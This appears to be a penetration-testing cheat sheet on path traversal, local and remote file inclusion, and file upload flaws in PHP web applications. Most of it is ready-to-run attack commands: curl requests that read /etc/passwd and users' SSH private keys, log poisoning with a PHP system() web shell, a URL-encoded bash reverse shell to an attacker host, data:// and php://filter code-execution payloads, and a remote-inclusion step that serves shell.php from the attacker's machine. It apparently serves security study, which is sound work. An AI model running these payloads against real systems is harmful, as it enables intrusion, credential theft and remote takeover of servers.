Skip to main content

Path Traversal & File Inclusion

References:

Identifying Path Traversal

Look for URL parameters that reference files:

https://example.com/cms/login.php?language=en.html

Key observations:

  • login.php tells us the server uses PHP
  • language=en.html is a file reference we may be able to manipulate
  • /cms/ suggests the app runs in a subdirectory of the web root

Discovery Checklist

  • Hover over all buttons and check URLs
  • Check all links
  • Navigate to all accessible pages
  • Examine target source code for file references

Fuzzing for the Vulnerability

Automate traversal testing with a payload list (handles depth, encoding, and null-byte variants):

ffuf -u "http://$TARGET/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs <baseline-size>

-fs <baseline-size> filters the normal-response size so only successful reads stand out.

Linux Path Traversal

Default web root: /var/www/html

Test with a known file:

curl http://$TARGET/index.php?page=../../../../../../../../../etc/passwd

Retrieve SSH keys:

curl http://$TARGET/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
tip

If you get a private key, set permissions to 400 before using: chmod 400 stolen_key

ssh -i stolen_key -p 22 $USER@$TARGET

Windows Path Traversal

Test with a universally readable file:

curl http://$TARGET/index.php?page=C:\Windows\System32\drivers\etc\hosts

Read application logs:

curl http://$TARGET/index.php?page=C:\xampp\apache\logs\access.log

Local File Inclusion (LFI)

LFI takes path traversal further — if you can include a file that contains PHP code, the server will execute it.

Log Poisoning

If you can read the Apache access log via path traversal, inject PHP into the User-Agent header:

  1. Use Burp Repeater to send a request with a malicious User-Agent:
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
  1. Then trigger execution by including the log file with a command:
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
  1. For a reverse shell (URL-encoded):
# Raw: bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
curl "http://$TARGET/index.php?page=../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%22"
warning

The bash -c wrapper ensures the code is executed using bash instead of the default sh shell, which may not support the redirect syntax.

Other Poisoning Targets

When Apache logs aren't readable, the same "write PHP somewhere, then include it" idea works against other attacker-controlled files:

  • PHP session files — set a session variable you control (e.g. a username field), then include /var/lib/php/sessions/sess_<PHPSESSID> (your PHPSESSID cookie value).
  • /proc/self/environ — on older setups, inject PHP via the User-Agent header, then include /proc/self/environ.
  • Mail logs/var/log/mail.log if you can send mail to a crafted address.
  • SSH auth log/var/log/auth.log, poisoned by attempting SSH login with a PHP payload as the username.

PHP Wrappers

Reference: https://www.php.net/manual/en/wrappers.php

php://filter — Read Source Code

When including a PHP file directly shows incomplete output (because PHP executes it), use base64 encoding to extract the raw source:

curl "http://$TARGET/index.php?page=php://filter/convert.base64-encode/resource=admin.php"

Decode the output:

echo "<base64-output>" | base64 -d
tip

When data:///php://input are disabled (allow_url_include=Off), the PHP filter chain technique can still achieve RCE using only php://filter by chaining encodings to generate arbitrary bytes. Generate a chain with php_filter_chain_generator: python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

data:// — Execute Code

Inject and execute PHP directly:

curl "http://$TARGET/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

With base64 encoding for complex payloads:

echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "http://$TARGET/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id"
tip

If a command has spaces, use URL encoding. %20 represents a space.

Remote File Inclusion (RFI)

If the include function accepts a URL (requires allow_url_include=On in PHP, off by default since 5.2), you can host the payload yourself and have the server fetch and execute it:

# Host a PHP shell on your machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80

# Include it remotely
curl "http://$TARGET/index.php?page=http://$LHOST/shell.php&cmd=id"

An ftp:// or SMB (\\$LHOST\share) source can work when outbound HTTP is filtered. RFI is rarer than LFI on modern PHP but trivial to exploit when present.

File Upload Vulnerabilities

Two categories:

  1. Direct execution — upload a file that the web server will execute (e.g., PHP script on a PHP-enabled server)
  2. Combined with another vuln — combine file upload with directory traversal to overwrite files like authorized_keys, or combine with XXE/XSS